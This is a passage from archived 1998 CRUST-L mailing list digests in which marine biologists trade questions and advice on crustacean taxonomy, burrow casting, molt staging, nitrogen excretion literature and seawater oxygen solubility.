(0)8157 932 154 email: diesel@mpi-seewiesen.mpg.de =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 10 Jul 1998 09:37:02 -0400 (EDT) Subject: Re: CRUST-L: Casting crustacean burrows Roy, I've used fiberglass boat resin (Bondo) from the hardware store for Uca burrows. I mix in at most half the hardener stated in the directions else the stuff sets too quickly. I like Phil's suggestion of a syringe, but you may have trouble with melting plastics. Nonetheless it's worth a try. Don't know about submerged use of the resin. It's also relatively cheap ($15-20 per half gal). Phil's comments on the corrosion casting methods sound interesting. The methacrylates are probably better choices than the fiberglass resins. Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Jason Goldstein"" Date: Fri, 10 Jul 1998 11:32:02 -0500 Subject: CRUST-L: Thanks for Spider Crab InFo!! Thanks for all your great feedback on Spider crabs, it really helped!! jason =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Marco Vannini Date: Fri, 10 Jul 1998 19:58:07 +0200 Subject: CRUST-L: where can we study Aratus pisoni ? Dear friends, a student of mine wish to study the behaviour, in field, of the tree-climbing crab, Aratus pisoni. Around December-January, my student, Ms Elena Foschi, will be able to reach any of the countries where mangroves hosting A. pisoni can be found. She is quite able to speak Spanish, French and English (this is also her capability hierarchy) and has a quite good experience of travelling and adaptation. The things the young lady is looking for are: 1) a biological station where she could settle for at least a lunar month for a reasonable price and 2) a biological station very close to the mangroves since a lot of continuous recording will be needed, at day and night time, at low and high tide, etc. ""Very close"" should thus mean no need of transport and a quite safe place too. Pattern of periodic migration and orientation mechanisms are our main field of interest. Any collaboration with any student or researcher will obviously be more than welcome. Many thanks in advance, Marco Vannini ******************************************* Prof. Marco Vannini Director of the Zoological Museum of the University of Florence, ""La Specola"" via Romana 17, 50125 Firenze Italy tel +39-55-2288259 fax +39-55-225325 e-mail: vannini_m@dbag.unifi.it ******************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Sun, 12 Jul 1998 09:20:45 -0400 (EDT) Subject: CRUST-L: Berreur-Bonnenfant papers (fwd) Please respond to Isam, and not to me. THanks, Jeff - ---------- Forwarded message ---------- From: isam To: ""'Crust-L'"" Subject: Berreur-Bonnenfant, J Papers Date: Sun, 12 Jul 1998 13:28:11 +0300 MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable Hello Crust-Lest I am looking for historical papers of Berreur-Bonnenfant, J from the = sixties, I have no access to these papers, so I would appreciate any = help to get copies or full details of the following papers. =20 The papers are=20 Berreur-Bonnenfant, J. (1962a). Bull. Soc. Zool. Fr. 87, 253. Berreur-Bonnenfant, J. (1962b). Bull. Soc. Zool. Fr. 87, 377. Berreur-Bonnenfant, J. (1963a). C. R. Acad. Sci. 256, 2244. Berreur-Bonnenfant, J. (1963b). Bull. Soc. Zool. Fr. 88, 235. Berreur-Bonnenfant, J. (1967). C. R. Soc. Biol. 161, 9. Berreur-Bonnenfant, J. (1968). Arch. Zool. Exp. Gen. 108, 521. Bonnenfant, J. (1961). C. R. Acad. Sci. 252, 1518. =20 Thanks in advance Yours Isam =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Sun, 12 Jul 1998 09:18:21 -0400 (EDT) Subject: CRUST-L: marine biodiversity listserver FYI, Jeff - ---------- Forwarded message ---------- X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: CRUST-L@vims.edu From: ""Mark J. Costello"" Subject: Marine biodiversity research list A listserver for marine biodiversity research (especially within Europe) has been established. Subscribe by sending message ""Subscribe MARINE-B "" to listserv@listserv.hea.ie and follow instructions on the automatic reply you will get. Do not include any other text in the message. Dr Mark J. Costello, Ecological Consultancy Services Ltd (EcoServe), 7 Glenmalure Park, Rialto, Dublin 8, Ireland. http://www.ecoserve.ie E-mail: mcostello@ecoserve.ie Tel. + 353-1- 490 32 37; \\\\\\\\\\\\\\\\\\\\\\\\\\\\ Home office - 453 31 95; >>----------------------------o---) Fax + 353-1- 492 56 94; /// Mobile 087 - 239 339 0. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Carlo Pipitone Date: Tue, 14 Jul 1998 16:27:20 +0200 Subject: CRUST-L: REQ: E-mail of J.E. Cartes Hello list members, does anybody know the e-mail address of Dr. J.E. Cartes? Please reply to me: carlopip@tin.it Thanks in advance, Carlo Pipitone ***************************************** Carlo Pipitone - -------- CNR-IRMA (formerly: CNR-ITPP) Laboratorio di Biologia Marina via G. da Verrazzano 17 91014 Castellammare del Golfo (TP), Italy tel: (0924)35013 fax: (0924)35084 e-mail: carlopip@tin.it alternate e-mail: pipitone@itpp.pa.cnr.it ***************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jay Hermsen Date: Thu, 16 Jul 1998 16:26:21 -0400 (EDT) Subject: CRUST-L: Tmetonyx spp. Dear Crustacea Listserv, Can anyone provide some taxonomic advice in determining the species within the genus Tmetonyx? We have trapped some specimens out on Georges Bank and are having trouble discriminating between Tmetonyx similis and Tmetonyx cicada. We have been using the number of pairs of dorsal denticles on the telson to tell the two species apart but are not sure whether this is the best way to go. Any suggestions of good keys or further insight would be much appreciated. Thanks in advance, Jay ******************************************************************************* Jerome M. Hermsen, Jr. University of Rhode Island Graduate School of Oceanography Narragansett, RI 02882 Phone: (401) 874-6704 FAX: (401) 874-6240 E-Mail: jhermsen@molamola.gso.uri.edu ******************************************************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Todd Miller"" Date: Fri, 17 Jul 1998 10:11:04 PDT Subject: CRUST-L: Estimation of molt stage duration Hello! I am currently working on a project where I am describing and estimating the duration of individual molt stages of premolt development (using Drach and Tchernigovtzeff's technique) in adult Dungeness crabs (Cancer magister). A majority of studies have focused on determining molt stage duration by ""multiple staging"" of a crustacean, but much of the work done appears to be over 10 yrs old. Does anyone know of any current work being done on this subject? Thank you for your time and consideration. Sincerely, Todd Miller ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Adrian Laurence Leake Date: Wed, 20 Jul 88 22:59:33 PDT Subject: CRUST-L: Effects of low salinity on Crayfish/lobsters Hello! I am trying to find some information on the effects of low salinity on juvenile crayfish and lobsters. The species i am studying is the spiny crayfish Jasus edwardsi. Information on any species would be greatly appreciated. Regards Adrian Leake =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: suzuki@BIO.FISH.KAGOSHIMA-U.AC.JP (Hiroshi SUZUKI) Date: Tue, 21 Jul 1998 16:54:52 +0900 Subject: CRUST-L: Callianassa subterrania and C. tyrrhena Dear Cruster, Could anybody tell me whether Callianassa subterrania is synonym of C. tyrrhena or these species are different species ? Ingle (1997) said ""the taxonomic status of some native species of mud lobsters is currently being revised"" in his book. And he described C. tyrrhena instead of C. subterranea. However Astall et al. (1997) used C. subterranea as material of their study. Are these mud lobsters different species ? ============================== Hiroshi SUZUKI * Carcinologist Faculty of Fisheries Kagoshima University Voice; +81 (0)99-286-4143 Fax; +81 (0)99-286-4133 ****************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 21 Jul 1998 08:27:19 -0400 (EDT) Subject: CRUST-L: Non-member submission from [Richard Musgrove ] (fwd) Please responde to Richard Musgrove and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Richard Musgrove Subject: Lobster Condition and C4 To: CRUST-L@VIMS.EDU Message-id: <000001bdb445$d696ebc0$76add88f@0896AAD5.pi.sa.gov.au> MIME-version: 1.0 X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Content-type: text/plain; charset=""iso-8859-1"" Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-Msmail-Priority: Normal X-Mimeole: Produced By Microsoft MimeOLE V4.72.2106.4 X-Mdaemon-Deliver-To: CRUST-L@VIMS.EDU Hi All, I am looking at condition indices in Southern Rock Lobsters(_Jasus edwardsii_). While prediction of protein content/muscle mass from serum protein is fairly straightforward, the hurdle appears to be assessment of where these lobsters are in C4, given that it is by far the longest stage (5-9 months). Postmoult, the approach to premoult and premoult itself are no problem. >From what I have seen in the literature, most hormones associated with the moult cycle appear to be appear to be at significant levels in premoult/postmoult, so are of little use here. I would appreciate any ideas/insight anybody could offer here. Thanks, Cheers, Richard Dr. Richard Musgrove SARDI Aquatic Sciences, P.O. Box 120, Henley Beach, SA 5022 AUSTRALIA Ph: (08) 8200 2437 Fax: (08) 8200 2481 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 23 Jul 1998 09:09:00 -0400 (EDT) Subject: CRUST-L: Tmetonyx (fwd) Please respond to the list or to Jay Hermsen and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Message-ID: <0003F1BE.3204@amsg.austmus.gov.au> From: jiml@amsg.austmus.gov.au (JimL) Subject: Re: CRUST-L: Tmetonyx spp. To: Jay Hermsen , crust-l@vims.edu Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Description: cc:Mail note part Dear Jay, From your email it sounds like you are getting two kinds of Tmetonyx. I am in the process of studying a large collection of lysianassoid amphipods from Iceland. I get a lot of specimens of what I am calling Tmetonyx cicada. It definetely has a more apically rounded lateral lateral cephalic lobe than the picture Sars shows of T. similis where the lobe appears to be apically acute. This should be a good way to quickly tell the species apart. Also it looks to me like the posteroventral spine on epimeral plate 3 is better developed in T. similis. You could try to corrolate the head character with the number of robust setae on the telson - might work. Good luck Jim Lowry ______________________________ Reply Separator _________________________________ Subject: CRUST-L: Tmetonyx spp. Author: Jay Hermsen at Internet Date: 7/16/98 4:26 PM Dear Crustacea Listserv, Can anyone provide some taxonomic advice in determining the species within the genus Tmetonyx? We have trapped some specimens out on Georges Bank and are having trouble discriminating between Tmetonyx similis and Tmetonyx cicada. We have been using the number of pairs of dorsal denticles on the telson to tell the two species apart but are not sure whether this is the best way to go. Any suggestions of good keys or further insight would be much appreciated. Thanks in advance, Jay ******************************************************************************* Jerome M. Hermsen, Jr. University of Rhode Island Graduate School of Oceanography Narragansett, RI 02882 Phone: (401) 874-6704 FAX: (401) 874-6240 E-Mail: jhermsen@molamola.gso.uri.edu ******************************************************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. 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Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 23 Jul 1998 09:09:36 -0400 (EDT) Subject: CRUST-L: Tmetonyx again (fwd) - ---------- Forwarded message ---------- Message-ID: <0003F1DB.3204@amsg.austmus.gov.au> From: jiml@amsg.austmus.gov.au (JimL) Subject: Re: CRUST-L: Tmetonyx spp. To: crust-l@vims.edu, Jay Hermsen Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Description: cc:Mail note part Jay, One other character you might try is the posteroventral lobe of coxa 4. In T. cicada it is narrowly rounded, but according to the picture of Sars it is a broad lobe with a straight posterior margin. If this character is good it should be an easy way to separate the specis. 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Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #153 ***************************** crust-l-digest Tuesday, 11 August 1998 Volume 01 : Number 155 CRUST-L: ISOPODA CRUST-L: Nitrogenous waste production rates Re: CRUST-L: Nitrogenous waste production rates CRUST-L: Articles For Publication CRUST-L: nitrogenous waste (fwd) CRUST-L: Mycobacterium (fwd) CRUST-L: solubility of oxygen (fwd) Re: CRUST-L: solubility of oxygen (fwd) Re: CRUST-L: Nitrogenous waste production rates CRUST-L: Rotenone & signal crayfish CRUST-L: Macrobrachium intermedium Stimpson - what is the year? Do you wan t to winn a free beer? CRUST-L: Probopyrus (fwd) CRUST-L: eggs (?) on freshwater crayfish gills CRUST-L: Macrobrachium intermermedium (Stimpson, 1869) and beer! ---------------------------------------------------------------------- From: lucifer@prtc.net (lucifer) Date: Tue, 04 Aug 1998 08:37:00 -0400 Subject: CRUST-L: ISOPODA HI! I WORK WITH PARASITIC ISOPODS AND I NEDD TO KNOW: ARE PROBOPYRUS OVIFORMIS AND PROBOPYRUS PANDALICOLA THE SAME SPECIE? THANKS; OMAR PEREZ UNIVERSITY OF PUERTO RICO DEPARTMENT OF BIOLOGY PO BOX 23360 SAN JUAN PR 00931-3360 TEL. 787-764-0000, EXT. 4898 FAX 787-764-2610 e-mail: lucifer@prtc.net =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Rich Sewell"" Date: Tue, 04 Aug 1998 10:51:06 PDT Subject: CRUST-L: Nitrogenous waste production rates Dear Crusties, I am trying to find references or work done on nitrogenous production by lobster (Homarus americanus), and various commercial species of crab. I'm interested in comparing production rates. Do you all have any suggestions? This must have been thoroughly researched, but I'm not familiar with it. Thanks in advance for your help. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Booth Date: Tue, 4 Aug 1998 15:52:07 -0400 Subject: Re: CRUST-L: Nitrogenous waste production rates Rich, There is an extensive body of literature on nitrogen metabolism and excretion in crustaceans, though I don't know of any studies specifically on lobsters. Numerous reviews have been published over the past 10 years. You might check out the following: Kormanik, G.A. and J.N. Cameron (1981) Ammonia excretion in animals that breathe water: A review. Marine Biology Letters 2: 11-23. Claybrook, D.L. (1983) Nitrogen metabolism. Chapter 3 in Biology of Crustacea, vol. 5 (L Mantel, ed),Academic Press Henry, R.P. (1995) Nitrogen metabolism and excretion for cell volume regulation in invertebrates. Chapter 4 in Nitrogen Metabolism and Excretion (P. Walsh and P. Wright, eds), CRC Press. O'Donnell, M.J. and J.C. Wright (1995) Nitrogen excretion in terrestrial crustaceans. Chapter 7 in Nitrogen Metabolism and Excretion (P. Walsh and P. Wright, eds), CRC Press. Chuck Booth >Dear Crusties, >I am trying to find references or work done on nitrogenous production >by lobster (Homarus americanus), and various commercial species of >crab. I'm interested in comparing production rates. Do you all have >any suggestions? This must have been thoroughly researched, but I'm >not familiar with it. Thanks in advance for your help. > >______________________________________________________ >Get Your Private, Free Email at http://www.hotmail.com >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 Fax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. 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Cheers, James Hensinger Ascot International http://www.aquafind.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 5 Aug 1998 09:09:20 -0400 (EDT) Subject: CRUST-L: nitrogenous waste (fwd) Please respond to the list and not directly to me. Thanks, Jeff - ---------- Forwarded message ---------- To: rbayer@maine.maine.edu From: Ed and Ruth Benedikt Subject: CRUST-L: Nitrogenous waste production rates Cc: crust-l@vims.edu Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Tue, 04 Aug 1998 18:07:27 -0500 To: rbayer@maine.maine.edu From: Ed and Ruth Benedikt Subject: CRUST-L: Nitrogenous waste production rates I'm involved in oyster production, and note substantial(but unquantified) waste with the waste production related to growth rate. The Lobster Institute at the University of Maine maybe of help to Rich Sewell. Please include copy to Ed Benedikt at . >>From: ""Rich Sewell"" >>To: crust-l@vims.edu >>Subject: CRUST-L: Nitrogenous waste production rates >>Date: Tue, 04 Aug 1998 10:51:06 PDT > >>Dear Crusties, >>I am trying to find references or work done on nitrogenous production >>by lobster (Homarus americanus), and various commercial species of >>crab. I'm interested in comparing production rates. Do you all have >>any suggestions? This must have been thoroughly researched, but I'm >>not familiar with it. Thanks in advance for your help. >> >>______________________________________________________ >>Get Your Private, Free Email at http://www.hotmail.com >>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >>To (un)subscribe to CRUST-L: >>Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >>To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >>Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >>Archives available at http://www.vims.edu/~jeff/archive.htm >>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >> >> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 5 Aug 1998 09:16:50 -0400 (EDT) Subject: CRUST-L: Mycobacterium (fwd) Please respond to Fernando Alonso, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: ""Fernando Alonso"" To: Subject: Mycoplasma infections & Pr.clarkii Dear CRUST-ers: During the last days, six people have been taken to hospital due to an infection developed after manipulating and suffering some minor injuries = in the skin inflicted by claws and spines of Procambarus clarkii while fishi= ng for this species. Doctors at the local hospital claim to have determined the pathogen as Mycoplasma marinum (Mollicutes: Mycoplasmataceae). I woul= d like to know if there are any relevant references related to this subject= , or if anybody has personal experience on similar episodes. Thanks in advance, Fernando Alonso Centro de Investigaci=F3n de Albaladejito Crta. Cuenca-Toledo, s/n 16194. CUENCA. SPAIN.=20 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 06 Aug 1998 09:03:11 -0400 Subject: CRUST-L: solubility of oxygen (fwd) Please respond to Stephen Dunbar and not to me. Thanks, Jeff ====================================================================== >Date: Thu, 06 Aug 1998 12:08:24 >To: CRUST-L@VIMS.EDU >From: ""Stephen G. Dunbar"" >Subject: Solubility of O2? >Mime-Version: 1.0 >Content-Type: text/plain; charset=""us-ascii"" > >Hi Fellow Crusties, > >I'm wondering if someone out there would have an extended table for the >solubility of O2 in seawater from 30C to about 40C and from 0ppK to about >30ppK. Even if you only have a few points I could extrapolate the rest. > >I have checked the usual liturature (CRC Handbook of Chem. and Phys., Am. >Pub. Health Standard Methods for Analysis of Water, etc.) but cannot find a >table that goes past 30C. > >Could anyone suggest a more extensive table? Or is there a simple equation >to arrive at the solubility in mg/L? > >Thanks for any help you can supply. > >Sincerely, >Steve > > >Stephen G. Dunbar >Central Queensland University >Faculty of Arts, Health and Sciences >School of Biological and Environmental Sciences >CQ Mail Centre, QLD 4702, Australia >Email: dunbars@topaz.cqu.edu.au >Ph: 0749-309-647 Fax: 0749-309-209 >Ph: 011-61-749-309647 (from Canada;note change from 079 to 749) > > > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to 